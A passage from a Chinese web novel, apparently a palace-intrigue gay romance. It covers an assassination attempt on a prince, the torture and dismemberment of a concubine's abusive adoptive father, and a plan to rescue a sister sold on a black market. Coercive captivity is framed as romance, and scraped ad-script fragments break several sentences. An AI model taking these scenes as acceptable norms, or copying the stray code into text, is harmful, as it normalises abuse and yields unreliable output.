“所以你要乖乖伺候我,取悦我,让我开心了,我自然什么都能告诉你,而不是像这样耍一些小聪明……” 白锦棠笑容不变,一双桃花眼迎着谢灼,鼻尖上的那抹红痣宛如烧起来般,他倏地捏住了谢灼的手腕,狠狠地用力,骨头发出咔嚓咔嚓的声音,见谢灼依旧不放手,白锦棠冷笑一声,直接把瓷片给抢了过来。 谢灼脸色变得难看至极:“你早就发现了?” “你这些伎俩,还用发现吗?”白锦棠转而懒懒地躺在床榻上,没骨头似的倚在床头,一手支颐,漫不经心把玩着碎片,道,“既然府里的人教不好你,那就本王亲自来。” 碎片“叮”地砸在谢灼的脚边。 “怜奴,今晚,你也无须睡了,就在这里好好吊着,静思己过吧。” 说完,白锦棠还真就打算不管谢灼了,将身边的被子扯过来盖在身上,顺便还把屋子里的烛火给灭了。 本来亮堂的卧室变得昏暗,隐隐约约只能看见谢灼一抹黑色的影子。 临睡之前,白锦棠还不忘威胁道:“打扰到本王睡觉的后果,你不会想知道的,夫人。” 谢灼冷笑。 没过一会,床上就传来白锦棠平稳的呼吸声,谢灼这才从袖子里慢慢勾出另外一块瓷片,开始割那红绸。 而床榻上的白锦棠对此一无所知,甚至还翻了个身。 大概过了半个时辰,谢灼左手腕上的红绸终于被割断,他一边咬着瓷片,一边开始撕扯自己另一只手上的红绸,眼神却警惕地落在白锦棠的身上。 谢灼开始计算,自己趁着白锦棠熟睡,将人挟持,逼着他交出解药的可能性有多大。 无数结果如何,总不会比成为白锦棠小妾更让人难以接受的结局了。 这样想着,谢灼朝着白锦棠缓缓走去,那尖锐锋利的瓷片,在夜色中,泛着森寒的光。 “噔——” 房顶忽然发出很细小的声音。 谢灼忽然停住了脚步。 这声音,就像有人在房顶上,又像是哪里来的野猫。就在谢灼屏住呼吸的时候,房顶上接二连三传来窸窸窣窣的声音,深更半夜的,不会是侍卫,那就只能刺客了。 机会固然难得,但谢灼暂时不想掺和进去,所以果断收手,打算找个地方先躲起来。 这个念头才冒出来,只听“嗖”的一声,他后背一凉,有暗器破空而来,直冲谢灼后脑勺!与此同时,膝盖被什么东西击中,腿脚一软,整个人不受控制地往床上摔去! 那暗器擦着谢灼的身子,最后定在了墙上! 谢灼松了一口气。 “抱够了吗?” 白锦棠凉凉的声音从身下传来,谢灼这才发现,自己的手正抓着白锦棠的肩膀,将人死死地按在身下,整个人都快贴上去了。 精致漂亮的眉眼就在咫尺之间,许是困乏,还带着点懵懂和温柔,还有那如海棠一般柔软的唇,只要他微微低头,便可攫取。 谢灼嗓子发干:“那个我……” “滚!”白锦棠毫不犹豫地给谢灼来了一脚。 谢灼直接被踹翻,在地上足足滚了好几圈才停下。 第二次! 他就知道,白锦棠就是个毒夫! 安静的王府骚动起来,火光将雕花镂空窗子照的通亮,到处都是人慌乱的脚步声,秋风在门外大喊:“有刺客!保护王爷!” 屋外很快传来刀剑对打时候的铿锵之音,对方来势汹汹,今日怕是没这么容易善了。 白锦棠撑起身子,勾起外袍,松垮地披在身上,顺手将那藏在床榻之下的剑抽了出来,丢给谢灼。 看着还在发愣的谢灼,白锦棠不耐烦道:“蠢货,愣着干嘛,还不护驾!” 这命令太过理所应当,也太过不容置疑,谢灼下意识拿起剑,鲤鱼打挺地站了起来,护在白锦棠身前。 下一秒,数名刺客破窗而入! 好好的窗户还有大门,被砸的稀巴烂,那身着夜行衣的刺客毫不犹豫地劈向谢灼! 谢灼记忆有损,看着自己的虎口茧子,就猜出来自己以前大概是学过武功的,这才让人找了剑谱来练,没想到出奇的顺手。 可那群刺客也不是吃素的,都是训练有素的杀手,刀法凌厉,到最后谢灼将那剑谱上的招式忘的一干二净,全凭借本能来。 他觉得自己以前可能是个杀人如麻的土匪,要不然他为什么不会害怕,甚至浑身的血液都在叫嚣着。 杀了,把他们全都杀干净,一个不剩! 到最后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,谢灼也算是杀红了眼,鲜血挥洒,手起刀落,其中一个蒙着黑头巾的人头咕噜落地,正好滚到了白锦棠的脚底下。 而白锦棠只是嫌弃地看了一眼,将滑下肩头的外袍往上提了提,给自己倒了一杯茶水,斜倚在床榻上,颇有诗情画意地看着面前血腥的一幕。 白锦棠啧了一声,看着颇为狼狈的人,道:“夫人,你武功不太行啊。” “白锦棠!”谢灼几乎是吼出来的,眼圈被气得发红,一脚将面前的刺客踹飞,“你现在最好求我,要不然……” 就在谢灼分神和白锦棠互怼时,有一个刺客逮到机会,错开了谢灼的阻挡,来到了白锦棠的面前! 染血的刀剑直冲白锦棠命脉而去,那慢悠悠品茶的人,终于舍得抬眸,嘴角噙着笑意,没有丝毫的畏惧,或者是惊慌失措。 谢灼感觉白锦棠要完蛋了。 “叮——” 可下一秒,无数银针自床榻的机关匣里被射出,将那胆敢冒犯的刺客,刺成了马蜂窝! 白锦棠摇了摇头,将茶杯放在桌子上,对谢灼道:“过来到这里!” 谢灼咬着牙看着白锦棠面前的尸体,又看了看那群虎视眈眈的刺客,直接往白锦棠那里跑,最后一步时,猛地往前一扑,扎进床榻松软的被褥里。 也就在那刹那间,房间的机关被全部启动。 无数毒箭自房间四面八方袭来,将那群刺客杀的片甲不留,甚至连还手的机会都没有! 房间里彻底安静了。 白锦棠耳边也清净了,他看着劫后余生的谢灼,正趴在他的脚边发愣,赤裸的脚踩在谢灼的心口,挑衅地碾了碾:“没想到,你现在这么废物,就连这几个刺客,都搞不定。” 谢灼低头看自己心口上那只过分好看的脚,咽了口口水,干巴巴道:“我是不是应该感谢你,没有一起将我宰了。” 白锦棠理所应当道:“难道不是吗?” “你明明就不怕这些刺客,还要我冒着生命危险和他们打架,到头来,我还要谢谢你?”谢灼摩挲着自己手指,忽然有一种想要白锦棠再踩踩的冲动,“王爷,你是不是有点不讲理了?” 白锦棠脚再次在谢灼的心口狠狠地碾了碾,眯着眼睛道:“本王就是道理,你敢多嘴?” 这脚踝可真细。 “哪敢啊?毕竟我身家性命都在王爷手里呢。”说完,谢灼忽然抬手握住了白锦棠的脚腕,入手处一片冰凉滑腻,像是一块嫩豆腐。 这毒夫杀人不眨眼,折腾他起来不是人,没想到不仅脸长得好看,这脚摸着更是舒服。 这样想着,谢灼忍不住揉了一下。 “放肆!”白锦棠没想到谢灼敢如此放肆,熟悉的力道和触感,让白锦棠瞬间想起上一世,谢灼就是这样握住自己的脚踝,将试图逃跑的自己,拖回去,一次一次按在身下羞辱。 白锦棠气的面色绯红,一脚将谢灼蹬开了,将人丢下床榻时,还不忘赏谢灼一个大嘴巴子。 谢灼一手捂着脸,一手捂着心口直喊疼:“王爷,你下手忒狠,我不过是见你脚上落了血迹,这才想替你擦一擦,你怎的对我又打又踹。” 白锦棠冷笑:“你最好是。” 谢灼嘴硬:“是啊,怎么不是啊?” “你真以为本王不知道你的那些小心思吗?” 谢灼忽然有些虚:“我能有什么小心思?” “想杀我,你还不够格。”白锦棠威胁道,“这次看在你杀了那几个刺客的份上,饶了你,下次,你若是再敢这样冒犯,或者动了不该有的心思……” “我便把你活刮了!” 谢灼舔了舔唇,眼神不由得瞟了一眼白锦棠的脚腕,见被衣服盖住了,这才讪讪收回目光: “知道了。” 活剐? 谢灼想起来刚刚这人斟茶的手,纤细修长,指尖还泛着红,比之女子有过之而无不及,便就是让他刮,握得住那些刀刃吗?也就只会拿个匕首耀武扬威。 总有一天,他要让白锦棠知道什么叫做真正的凌迟! 5. 本王岳丈 第二日,天才蒙蒙亮,一个胡子拉碴的醉汉穿着脏的发黑的衣服,一步三晃地往王府这边走,左手还提着个酒坛子,指指点点地瞧着王府的牌匾,一脸痴笑,“找到了!”结果正好被门口的石狮子怼个正着。 醉汉骂骂咧咧在石狮子上踢了一脚,踩着台阶往府门走:“宁王……宁王府!嘿嘿,我要找宁王!” 说完,醉汉开始狂拍府门。 “开门!给我开门!我可是宁王的老丈人,你们赶紧给我开门!你们再不开门,我就让宁王砍了你们的脑袋!” “赶紧给我开门!”说着,又往自己嘴里猛灌几口烈酒,见依旧没人开门,干脆将酒坛子嘭的砸在门上,见大门纹丝不动,便开始用身体撞门。 而另一边,白锦棠才起身,正和谢灼一起用早膳。 准确来说,是白锦棠吃,谢灼在一边站着看。 “给我盛点汤。”白锦棠夹了一个水晶虾饺,对旁边木头一样杵着的人说。 昨天晚上,把那群刺客解决以后,房间已经不能睡人了,只能临时把书房收拾了一下,凑合着睡。 结果这人那是丝毫不肯委屈自己啊,一会说书房的被子不如寝室的暖和,一会说不燃香睡不着,一会又说枕头不舒服。而他累死累活的搬尸体,还要伺候白锦棠,折腾到后半夜。 他连着来来回回跑了好几趟,跑到最后,谢灼都想和白锦棠同归于尽了,白锦棠这才作罢,心满意足地睡去。 谁知一大清早,又开始整幺蛾子,非要让自己履行侍妾本分,伺候早膳。 见谢灼一动不动,白锦棠一脸认真地问:“夫人,你今天是忘记把耳朵带出来了,还是昨日刺客把你的手砍了?你难道没听见我的话吗?” 谢灼:“……当然没有,这就为王爷盛汤。” 白锦棠“啧”了一声,放下了筷子,抬头看他:“你看起来很不愿意?” 谢灼咬着牙说:“怎么会呢?” “那你为什么不笑?”白锦棠冷哼,“不知道还以为本王嘎嘣死了,你杵着在这里哭丧!大早上的,摆出这死人脸给谁看?” 谢灼:“……” 谢灼端着碗的手指发白,废了好大的劲,才控制住自己没有将手里的汤直接泼白锦棠脸上。 “王爷定会长命百岁的。” 白锦棠点头:“本王也是这么觉得。” 谢灼:“……” 谢灼将汤放到白锦棠面前,继续微笑,从牙缝里蹦出来这几个字:“一定会的。” 白锦棠吃的开心,谢灼老老实实地伺候着,一顿饭下来,倒也还算和谐,就在谢灼以为白锦棠终于吃饱时,外面传来乱哄哄的声音。 谢灼有些疑惑,谁敢在王府门口闹事? 王府的守卫匆匆忙忙地来了。 汤有些咸了,白锦棠随手捏了一块荷花酥,眼皮都没抬一下,问: “外面何人如此吵闹?” 守卫看了眼白锦棠,又看了眼谢灼,最后低着头,支支吾吾半天也不敢说话。 白锦棠抬眼,不怒自威:“嗯?” 守卫这才道:“门口来了一个醉汉,不仅口出狂言说是王爷的岳丈,还赖在门口不走,府中的侍卫去拉扯,想将人赶出去,结果那人死抓着大门不放,撒泼打滚,说话十分难听……” 谢灼心里咯噔一下。 白锦棠瞬间来了兴趣:“本王竟不知道何时多出来个岳丈,奇也怪哉。” 如果他猜的没错的话,这所谓的岳丈,就是谢灼失忆后,名义上的爹。 谢灼那厮昨日还冒犯自己,今早这把柄就送上门来了,风水轮流转啊。 而谢灼眉头紧蹙,似乎想起来什么,脸色有一瞬间的难堪,但终究一句话也没说。 白锦棠:“叫什么名字?” 守卫又偷偷看了眼谢灼:“王……王汉三。” 白锦棠冷淡:“哦,不知道。” 落雨在一边接话道:“主子,您可能还真有个岳丈,若是我猜的没错的话,这王汉三就是怜夫人的爹。” 白锦棠恍如大悟:“哦,原来是这样,既然是岳丈亲临,还不快将人请进来。” “不要!”谢灼终于开口说话了,拦住了叫人的落雨。 众人疑惑地看着谢灼。 谢灼抿着唇道:“他早就将我卖到了王府,便和我再也没有瓜葛了,还请王爷将人直接赶出去。” 白锦棠挑了挑眉,对此丝毫不意外,偏生他就是不乐意让谢灼如愿。 白锦棠慢悠悠道:“这都是气话,父子哪有隔夜仇的,虽说是为了钱财把你卖到王府,但也正因如此,你我二人才能成就一段佳话啊。” 狗屁的佳话。 谢灼算是看明白了,白锦棠怕是早就知道会有这一出好戏,明摆着来看自己笑话,这才一大早把自己叫来伺候早膳。 果然恶毒啊! “骨肉相连,如今分别数日,岳丈必定心痛。落雨,别愣着了,你快去将岳丈请进来,父子两个人好好叙旧,有误会解开就是。”白锦棠扭头对谢灼深情款款道,“夫人,你觉得呢?” 谢灼太阳穴直抽搐,嘴角扯了一个比哭还难看的笑容:“王爷说的很对,特别对,简直就是人间第一大善解人意。” 白锦棠莞尔:“夫人客气了。” ———— 没过一会,落雨就回来了,身后还跟着王汉三。 “王爷,王爷!我是王妃的爹啊!当初你病重了,娶了我家二牛这才好的啊!王爷,我是你的岳丈啊!” 白锦棠慢条斯理地搅和着手里的汤,淡淡地看着王汉三,眉头紧锁。 这厮比他想的讨厌。 谢灼则是一脸冷漠,唇紧紧地抿着,眼里全是杀意。 奈何王汉三看不见气氛的不对劲,见白锦棠被人簇拥着,便知道他就是宁王。 “王爷!”认出人了,这眼睛就像是冒了绿光,胆大包天地地往白锦棠饭桌上扑,落雨眼疾手快,一把拽住人的脖领子,狠狠一拽,往边上一丢。 王汉三摔得不轻,一屁股坐在地上,指着落雨破口大骂:“你这该死的小贱人知道我是谁吗?你竟然敢打我,你信不信老子弄死你这个小蹄子!!!” 想要趁机嘲讽谢灼的心思瞬间没有了,看着满口污言秽语的人,他只想将人剁了喂狗。 白锦棠言简意赅:“秋风,卸他一条胳膊。” 秋风:“是!” 只听“咔嚓”一声,王汉三惨叫一声,胳膊软踏踏的垂在地上,满脸的鼻涕泡,扯着喉咙嚎哭:“我错了,我错了,求王爷饶命啊!王爷饶命啊!” 白锦棠给了秋风个眼色,秋风瞬间明白,将王汉三的胳膊放下了:“胆敢冒犯王爷者,死!” 王汉三哆哆嗦嗦道:“草民不敢了,再也不敢了。” 白锦棠嘴角这才有了点笑意,随手拿起旁边的帕子,将自己的手指慢慢擦干净。 “岳丈大人,不知道登门拜访有何贵干?” 如果刚刚自称宁王岳丈,王汉三那是耀武扬威,那如今就是吓得瑟瑟发抖,再也不敢口出狂言了。“扑腾”一声给跪下了,一把鼻涕一把泪地往白锦棠那里爬。 “王爷,草民没什么意思,就是王妃嫁人数日,不见回门,草民实在是想念,所以才想来看看,草民真的没有别的意思,草民真的不是要故意冒犯王爷的。” 白锦棠不听,他问谢灼:“王妃,是这样吗?” 谢灼一脸厌恶地看着王汉三,带着蔑视的不屑:“他一厢情愿,我和他现在没关系。” 白锦棠:“没关系啊?” “其实还是有一点的。”说完,谢灼竟然还笑了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “如果王爷现在给我一把刀,我可以给王爷表演一个凌迟处死的节目,这样看来,好像是仇人关系吧?” 白锦棠对谢灼这个态度十分满意:“听见了吗,岳丈大人,王妃不想见你呢。” 王汉三被吓得脸色煞白,尤其是看见白锦棠当真从袖子里掏出来一把匕首,随手递给了谢灼,见谢灼诧异的看着自己,叮嘱道:“愣着干什么,我现在不想看你的笑话了,去做你想做的事情吧。” 谢灼是他宿敌没错,他想折辱谢灼也不错,但还轮不到其他人磋磨谢灼。 特别还是这么个烂东西。 谢灼也不客气,径直朝王汉三走去。 王汉三吓得屁滚尿流,一边往后挪,一边大叫:“你不能这样对我!当初要不是我把你从水里捞出来,把你救回家,你他妈的早就成了孤魂野鬼,哪里有这样的福气嫁给宁王,你现在飞黄腾达了,就敢杀我?!” 谢灼:“救我?将我从水里捞出来的人是翠云,而你却搜光了我身上所有值钱的东西拿去赌,拿去买酒!是翠云将我拖回家,不顾你的打骂,从山上采药将我救活!为了钱,还要将翠云卖给人贩子,这天底下有你这样当爹的吗?!” 王汉三:“她就是个婊子,一个贱蹄子,老子是她爹,就是我把她打死了都是她活该……啊啊啊啊……” 王汉三话还没说完,就被谢灼手里的匕首扎穿了手掌。 “你再敢骂一句试试?” 谢灼将匕首拔起来,抵在了王汉三脖颈上,王汉三终于怕了,哭着道:“你不能杀我,你要是杀了我,就再也找不到翠云了,翠云对你这么好,你不能杀我啊!” “什么意思?” 他嫁入王府时,王府给了他一大笔钱,作为聘礼,他拿到钱后就把所有的钱给了翠云,好让她离开这里,去过自己想过的生活。 按理说,翠云应该早就离开了青州城才对。 见王汉三目光躲闪,不敢说话,谢灼怒了,一道戳在王汉三的肩膀,“到底是怎么回事?!” 王汉三再次惨叫起来,哀嚎着道:“翠云本来是走了,但我骗她说你得了重病,她知道后马上就回来了,然后……然后……” 谢灼:“然后什么?!” 王汉三直接被吓尿了,再不敢有半点隐瞒:“有钱了之后,我就去了赌坊,结果全都输干净了,我就把翠云……卖给了人牙子……我现在也不知道她去哪里了……呜呜……” 谢灼喃喃自语:“卖了……” “我错了,我错了,你放了我吧!我可是翠云的亲爹啊!” 野兽撕破了人类的皮囊,露出凶狠的獠牙,手里的匕首成了最锋利的爪牙,谢灼双眸血红,血液不断地叫嚣着,而他也没有再克制自己,一刀一刀地,将王汉三的四肢都砍了下来,到了最后,甚至人还没死! 王汉三满口鲜血,目光惊恐地看着谢灼,一脸的怨毒,最后被一刀贯穿了咽喉,身体在血泊里抽搐许久,才死不瞑目地断了气。 而谢灼怔怔地看着满身的鲜血,像是想起来什么一样,去看白锦棠坐着的位置。 白锦棠也看着他,没有畏惧,甚至没有太多情绪上的起伏,他迈着迟缓的步子走到谢灼的跟前:“解气了?” 谢灼:“嗯。” 白锦棠将一块手帕丢给了谢灼。 谢灼疑惑抬头:“?” 白锦棠冷漠道:“把匕首擦干净还我。” 谢灼十分乖巧地把匕首擦干净了,然后连刀带匕首还给白锦棠:“哦。” 而白锦棠只接了匕首,转身离去。 谢灼咬着牙道:“我……我能求你一件事情吗?” 白锦棠脚步一顿,回眸看他,低声浅笑:“你凭什么觉得我会帮你,又是以什么样的身份求我帮你,夫人,求人帮忙可以,但不能空手套白狼。” 6. 西域舞裙 白锦棠说完,就没再回头,秋风跟在身后,有些不太明白。 白锦棠自醒来,就做了两件事情。 一是查谢灼那个姐姐翠云的下落,二就是查国公府小姐凌灵的下落。 就在刚刚,他们得到消息,无论是翠云还是凌灵,都在黑市。 秋风低声道:“主子,您为什么不和怜夫人说,您已经找到了翠云姑娘,只待合适的时机,就能将人救出来……” 白锦棠:“本王为什么告诉他?” 秋风:“您不是因为喜欢怜夫人,所以才默默地做了这么多?” 白锦棠一个没忍住,噗嗤笑了出来,觉得秋风的脑回路还挺好玩。 白锦棠解释:“谁告诉你这是喜欢了,我不过是缺个把柄而已。”像是想起什么,白锦棠忽然问道,“银月卫可准备好了?” 前世,他并没有插手此事,而是交给谢灼去办的,过程也只有个模糊大概,只知道黑市在青州城下,是一座举世无双的地下之城。 秋风:“已经按照您的吩咐散了下去,随时听候差遣。” 白锦棠点头:“那就好。” 而另一边,落雨一脸嫌恶地看着王汉三的尸体,叫来几个侍卫赶紧将人用草席卷了,丢到车上,稍后和那群刺客的尸体一起丢到乱葬岗去。 而谢灼还在发呆,看着自己手里的帕子。 帕子是用上好的蚕丝做的,边角处还用银线绣了朵栩栩如生的海棠花,只可惜,如今染上了血污,弄脏了这方好帕子。 谢灼忽然想起白锦棠用帕子擦手时候的样子,他攥紧帕子,看着落雨,问出了声:“落雨姑娘,我能问问,王爷刚刚那话是什么意思?” 落雨在这里磨磨蹭蹭这么久,等的就是谢灼这句话,她眯着眼睛,笑着说:“夫人觉得我家主子是什么意思?” 他出不了王府,白锦棠也不会放他离开,所以想找人,如大海捞针谈何容易? 白锦棠明摆着就是想要自己求他,可自己已经出口相求,白锦棠却依旧冷淡的紧,话里话外,说他空手套白狼。 他倒是想贿赂一下白锦棠啊,奈何他身无长物,身无分文,白锦棠又图什么? 谢灼将帕子收了起来,有些惆怅:“我要是知道,也不会问你了。” 落雨啧啧两下,倒是和白锦棠像的紧,颇有些欠揍的意味。 落雨嘟囔:“想求我家主子办事,还不想出力气,怜夫人,怪不得主子不喜欢你。” 谢灼眉毛抽搐两下,一脸不屑:“我不需要他的喜欢。” “怜夫人好骨气!”落雨说罢就要走,“那怜夫人就守着自己的骨气待在王府吧,只可惜翠云姑娘了,千辛万苦救了个白眼狼……” 这话不像是落雨能说出来的,到像是白锦棠的话。 谢灼抿着唇,眼神冰冷刺骨,低头思考了一瞬,忽然就笑了:“既然这样,那就算了,谁让生死有命,富贵在天呢?她虽然是我姐姐,但我也尽力了。” “……”落雨愣住了。 这和她想的不一样啊! 按照正常逻辑来说,谢灼不应该哭着喊着求着自己吗? “哎……”谢灼一脸伤心地捂着心口,皱眉道,“不行了,我太难过了,可能需要休息一下,劳烦请落雨姑娘告诉王爷,我不能伺候了。另外,如果落雨姑娘要是知道了家姐的下落,请务必告诉我,我一定过去收尸,也好全了这段情分。” 说完,就要离开。 落雨急了:“……你去哪里?” 谢灼一脸伤心:“当然是找个地方黯然神伤了。” 落雨:“……” 这鱼要是跑了,还得了! 落雨:“等一下,其实没这么严重,你信我,就在今早,主子才得到消息,翠云姑娘还好好的!” 谢灼挑眉:“哦?” 落雨连忙点头:“但是她被困住了,你一个人根本救不了他,哪怕是王爷也没有十足的把握。” 竟如此凶险吗? 这是谢灼没有想到的。思及此,谢灼又看了眼地上那摊血迹,有点后悔,这么容易就让王汉三死了。 落雨看着谢灼难看的脸色,小心翼翼道:“其实王爷挺喜欢你的,要不然也不会去查翠云姑娘的消息,就是……就是……” 喜欢他,确定不是因为自己刺杀未遂,白锦棠醒来后,气急败坏地去查自己祖宗十八代,想要借此来威胁报复自己? 白锦棠喜欢自己,除非天上下红雨。 “落雨姑娘。”谢灼心口忽然就不疼了,套近乎道,“你的意思是,你有办法让王爷答应我?” 落雨扑闪着一双大眼睛,早已经没了刚才的矜持,小鸡啄米一样点头,道:“其实王爷心挺软的,对你又这么特别,你只需要小小的牺牲一下,肯定没问题的。” 谢灼心不由得动了。 ———— 白锦棠正在书房里看书,翻找关于地下城的所有材料以及图纸,生怕遗漏一点。 过了一会,落雨敲门进来了,双手拢袖,嘴角的笑压都压不住,眼睛里全是得逞后的激动。 “主子,夫人想见你。” 上次这个表情,还是他让落雨把谢灼绑起来的时候。 白锦棠挑眉:“哦?” 落雨干咳两声:“主子,夫人是来求您的。” “求我?”白锦棠随手将书籍放了下来,食指轻轻的旁边的地图上敲着,嘴角不由得勾起一抹弧度,“好啊,请夫人进来。” 他倒是要看看,是个什么求法。 门口的谢灼肠子都悔青了,死死地扒住门,就是不愿意进来,大有一种要和门生死与共的架势。 落雨见此,星眸微怔,赶忙上前拉扯:“夫人,你快进来啊,王爷已经答应见你了,金石所致金石为开,王爷看见你这么有诚心,定然会帮你找到翠云姑娘的!” “我不去!”谢灼推搡着,耳根连带着脖子红的透透的,一百个不愿意,“我后悔了,让我回去!” 白锦棠就支着下巴看着面前的闹剧,忽然出声:“落雨,松开他,你先出去吧。” “哦。”落雨瞥了眼谢灼,恋恋不舍地走了。 “你要是不想进来,这辈子都不要进来了,我现在就送你去和你那便宜爹黄泉相逢。”白锦棠声音温柔,嘴角还噙着笑意,但是话里话外全是不容置疑。 谢灼心一横,慢吞吞地走进来。 白锦棠这才发现,谢灼穿的是件女装,还是一套极为露骨的西域舞裙。 红色的薄纱上面坠着各种珠宝还有亮闪闪的银片,浑身上下就几块布料遮着重点部位,露出八块腹肌,和线条流畅结实的胳膊和大腿,脸上似乎还上了妆,柔化了棱角,单看脸还是能看的,身材也是不错,很有力量感,只不过配上这西域舞裙,过于风骚了。 白锦棠无法想象前世八面威风的摄政王,会变成这个模样,有些不忍直视了。 果然,落雨这丫头从来没让他失望过。 谢灼肠子都悔青了,一脸绝望。 白锦棠淡定起身,围着谢灼转了几圈,手指若有若无地撩过谢灼的肌肤,看着谢灼面红耳赤,局促不安,恨不得撞死在这里的表情,白锦棠心情大为愉悦,就差没把嘲笑两个字写在脸上了。 谢灼忍不住抓住了白锦棠随意撩拨的手,忍着嗓子的艰涩,叫了声:“王爷……” 白锦棠甩开谢灼的手,在谢灼腹肌上戳了一下,硬邦邦的:“哟,这脸怎么红的这么厉害,按理说,你这样的人就算脸红应该也看不出来吧。” 谢灼装听不懂:“……王爷这是什么意思? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “很难理解吗?本王在夸你啊。”白锦棠笑着说,“穿成这样,从卧房走到这里,很不容易吧。” 谢灼:“……” 谢灼:“王爷自己可以试一试。” 白锦棠当即就同意了:“好啊,马上本王就牵着你的手去试试,这样全府上下都知道本王娶了一个喜爱红装的男妃,那男妃白日寂寞难耐,于是就进来书房勾引……” “想要白日宣淫——” 谢灼太阳穴直抽搐,眼看着就要爆发了,眼看着就要暴走,结果白锦棠话题一收,往后退了几步,一脸抱歉道:“本王也是开个玩笑,别生气。” 这下可好,胸口那团气,上不来下不去,能把谢灼噎死。 “其实今早,本王是开玩笑的,翠云姑娘是夫人的姐姐,自然也是我的姐姐,肯定是要救的。”白锦棠感叹道,“就是本王不曾料到,夫人竟如此热情,于是这才多说了几句,夫人可千万莫要生气,要不然伤了夫妻情分该怎么办啊?” 谢灼皮笑肉不笑:“是,王爷说的都对,对极了。” 白锦棠颔首:“那夫人开始吧。” 谢灼:“什么?“ 白锦棠一脸无辜:“夫人来此,穿成这样,难道不是来表演节目的吗?” 谢灼:“……”他还真不是。 白锦棠像是了解到了谢灼的难处,提问:“那琴棋书画会否?” 谢灼:“不会。”就算以前会,现在也忘了。 白锦棠试探问:“舞乐?” 谢灼:“不会。” 白锦棠:“或者是民间杂技?” 谢灼沉默:“也不会。” 白锦棠:“那你会什么?” 谢灼眉头直抽搐:“我会杀人。” 白锦棠感叹:“莫非我的夫人竟然是个废物?” 谢灼:“……” 谢灼胸口的气又上来了,终于忍不住了,他张嘴就要连名带姓地喊白锦棠全名,结果白锦棠像是早有预料,忽然抬手,示意谢灼不要说话。 谢灼:“?” 白锦棠:“没关系。” 谢灼:“?” 白锦棠十分善解人意,一脸慈爱道:“虽然你是个废物,但我不嫌弃你。” 谢灼咬牙切齿:“白锦棠——” 话音没落,就被白锦棠打断:“我同意了。”又看了眼谢灼错愕的表情,以及身上的舞裙,夸赞道,“夫人虽废,但勇气超然,实乃真神人也。” “……”去他妈的神人也! 他现在只想杀人! 冷静,一定要冷静。人在屋檐下不得不低头。谢灼心口那团气又憋回去了,他郁闷至极,觉得这世界对他可能有点点恶意。 白锦棠满意极了,连带着心情都是如沐春风的,他负着手往卧房那边走,走了几步,见谢灼还在那里呆着,嘴角勾起一抹漂亮的弧度,随手将自己身上的披风解开,丢给了谢灼。 “穿好,跟上来。” 谢灼有些诧异,狐疑地看着他,又瞧了瞧手里的衣服,披在身上,遮住了自己里面的衣服。 披风绣着漂亮的祥云纹,上面还有一股淡淡的清香,宛如雨后的海棠,又像是风雪的味道,谢灼心里没由得一暖。 白锦棠竟然没让他穿成这样回去,好像人还行? 结果还没感动几秒,就见走在前面的白锦棠停下来了,一脸谴责地看着自己,语重心长地教育道:“夫人,纵然你再饥渴难耐,如何勾引本王都无所谓,但青天白日,怎能穿的如此伤风败俗,还想跟本王一起出去,虽然身为男子,但也一定要懂得矜持,知道吗?” 谢灼:“……知道了。” 真是一片感动喂了狗,他穿成这样是因为谁?白锦棠倒是好,一句话将自己撇的干干净净! 7. 拈酸吃醋 谢灼还在换衣服,白锦棠站在门口和秋风说话,秋风低声道:“主子,这事您亲自去太冒险了,何况还要带着怜夫人,怜夫人曾试图行刺您,怕是会让您陷入险境。” “我若不带着他,怕你们会遭殃,他没你想的这么好对付。”白锦棠道,“况且翠云在黑市,他没胆子敢和我作对,而且我亲自前去,也是为了一样东西。” 秋风:“敢问王爷,是何物?” “蓬莱草。” 白锦棠身中剧毒,每到月末就会毒发,毒发时犹肝肠寸断,有些中毒的人,甚至疼的自刎当场。 如今还差几日,就到了月末。而蓬莱草,虽然不能解毒,却能压制半寸相思,短时间内不会复发。 事关蓬莱草,秋风就知道,白锦棠定然不会假手他人的,只得道:“银月卫誓死效忠殿下!” 白锦棠叮嘱:“务必小心。” 秋风:“是!” 天色渐晚,太阳也落山了,最后的余晖浸染了鳞次栉比的房屋,成为最后一抹红。 落雨从外面走过来,道:“主子,马车已经备好了,可以走了。” 白锦棠颔首,旋即望向内室,隔着屏风看还在换衣服的人影,靠在门框上,慢条斯理地敲了敲。 谢灼抓着衣服,一脸警惕:“干什么?” 那件舞裙上面有太多零零碎碎的东西,各种装饰宝石,单单是穿上去,就废了好大的功夫,这脱下来更是难脱,谢灼干脆暴力拆除,谁知途中出了点意外,和他的头发绞在了一起。 只听白锦棠在门口懒洋洋道:“夫人,今天我们去办正事,可没有花轿让你上。” 谢灼看了看自己狼狈的样子,决定为了自己的脸面,闭口不提,他冷哼道:“……一口一个夫人,一口一个情深似海,王爷这感情也不过如此,不就是多等一会嘛。” 白锦棠挑眉:“什么,你怀疑本王不疼爱你,非要让本王给你穿衣服?” 不是,这两者有关系吗? 谢灼:“……不是。” “真是恃宠而骄啊。”白锦棠抬脚往里走,看见谢灼一脸狼狈的样子,一脸感慨,“还喜欢嘴硬。” 谢灼往后退,用衣服遮住了自己几近赤裸的身体,目光灼灼:“你干什么?” 白锦棠:“看我柔弱不能自理的笨蛋夫人,是如何凭借一己之力,用衣服和自己头发把自己缠住,然后打算把自己勒死。” 谢灼闭了闭眼睛,深呼吸,不断地劝慰自己: 还不是鱼死网破的时候,白锦棠留着还有用,小不忍则乱大谋,现在这里是王府,他是王府侍妾,此乃天经地义,一定要忍…… “你干嘛?”谢灼吓得往后退了一步,白锦棠拿着匕首朝自己步步逼近。 白锦棠懒得和谢灼废话,一把将衣服扯下来了,然后一把拽着衣服和头发缠死的地方,手起刀落,把他的头发割了,将他从衣服里成功解救出来。 看着一地的头发,谢灼心里一阵绞痛。 他的头发啊! 最离谱的还不是这个,他被白锦棠看的有些…… 白锦棠往下瞄了一样,淡定道:“起来了?” 下面的裙子本就单薄,基本上是薄纱拼接而成的,所以有什么东西,会很明显。 这种情况,何等难堪,就连谢灼也不明白为什么会起来!上次这样,还是他手欠抓住了白锦棠的脚踝,忍不住摩挲了两下的时候。 一想到这里,谢灼就有些心虚,又觉得白锦棠这个问题没这么简单,像是个送命题,所以一声不吭。 